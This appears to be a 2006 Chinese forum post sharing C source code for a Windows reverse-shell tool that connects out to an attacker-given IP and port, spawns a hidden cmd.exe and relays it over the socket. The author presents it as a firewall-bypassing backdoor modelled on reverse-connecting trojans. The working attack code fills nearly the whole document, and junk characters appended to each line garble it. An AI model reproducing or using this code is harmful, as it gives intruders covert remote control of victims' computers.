Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 KyLp?!|>  
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/* ============================== ny1 \4C  
Rebound port in Windows NT 8R4qU!M  
By wind,2006/7 #{,h@g}W  
===============================*/ KY+]RxX  
#include o0`q#>7!_b  
#include j04/[V)  
GAp!nix6h  
#pragma comment(lib,"wsock32.lib") LdEE+"Jw  
/^4"Qv\@/  
void OutputShell(); VQ<5%+  
SOCKET sClient; VGZ6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UH20n{_:  
|M E{gy`5  
void main(int argc,char **argv) sFElD ]|  
{ m&Sp1=*Ejy  
WSADATA stWsaData; x)R0F\_  
int nRet; ?v.Gn9Z&  
SOCKADDR_IN stSaiClient,stSaiServer; plXG[1;&G  
jONjt(&N  
if(argc != 3) c[5@\j\  
{ =l,#iYJP8  
printf("Useage:\n\rRebound DestIP DestPort\n"); q[c Etp28h  
return; ^:z7E1~  
} f3&/r  
) b:4uK A  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5f_7&NxT  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [z+x"9l0!  
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stSaiClient.sin_family = AF_INET; x'i0KF   
stSaiClient.sin_port = htons(0); bl.EIyG>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,` o+ ?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kl<g;3  
{ ) ,Npv3(  
printf("Bind Socket Failed!\n"); ?Aw3lH#:  
return; 0N5bPb  
} !Uy>eji}  
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stSaiServer.sin_family = AF_INET; "L@g3g?|`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); all*P #[X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CQ18%w6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X6kaL3L}  
{ |Puj7Ru  
printf("Connect Error!"); 0jTMZ<&zZ  
return; hr~.Lj5^W  
} :8]6#c6`74  
OutputShell(); b1)\Zi  
} `]{Psc6_=  
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void OutputShell() (9
'be\  
{ vZk9g
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char szBuff[1024]; {(0I
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SECURITY_ATTRIBUTES stSecurityAttributes; K?YEoz'y[  
OSVERSIONINFO stOsversionInfo; qc&jd  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3?^NN|xg  
STARTUPINFO stStartupInfo; ?Cc :)  
char *szShell; JMePI%#8  
PROCESS_INFORMATION stProcessInformation; :D4];d>1  
unsigned long lBytesRead; u\3ZI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ql8^]gbp+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AysL-sqR  
stSecurityAttributes.lpSecurityDescriptor = 0; CjV7q y  
stSecurityAttributes.bInheritHandle = TRUE; kQ[Jo%YT?E  
K1-+A2snhV  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vX 1W@s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nF|Oy0  
z L8J`W  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B G5X_s0/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B,MQ.|s[  
stStartupInfo.wShowWindow = SW_HIDE; fFHK:n`  
stStartupInfo.hStdInput = hReadPipe; PJ;.31u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O
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GetVersionEx(&stOsversionInfo); jJ<;2e~OW  
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switch(stOsversionInfo.dwPlatformId) [9J:bD  
{ XD 5n]AL  
case 1: Z,SY N?@  
szShell = "command.com"; <OIUyZS  
break;

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default: !YY6o V  
szShell = "cmd.exe"; BPh".RJ  
break; VZTmzIk.Y  
} @"0uM?_)-  
R~$hWu}}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); },v&rkwR  
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send(sClient,szMsg,77,0); G LoiH#R  
while(1) G~S))p  
{ 7oD y7nV4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N6WPTUQ1mF  
if(lBytesRead) 5 >'6
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{  w"BIv9N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >T`zh^+5W  
send(sClient,szBuff,lBytesRead,0); ;eP_;N5+J  
} [z^Od  
else eVrnVPkM  
{ & \JLTw  
lBytesRead=recv(sClient,szBuff,1024,0); ,}u,)7  
if(lBytesRead<=0) break; nT#37v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fjcr<&{:  
} )dqR<)  
} >CH  
>B`Cch/'U  
return; k]t,q$Vd  
}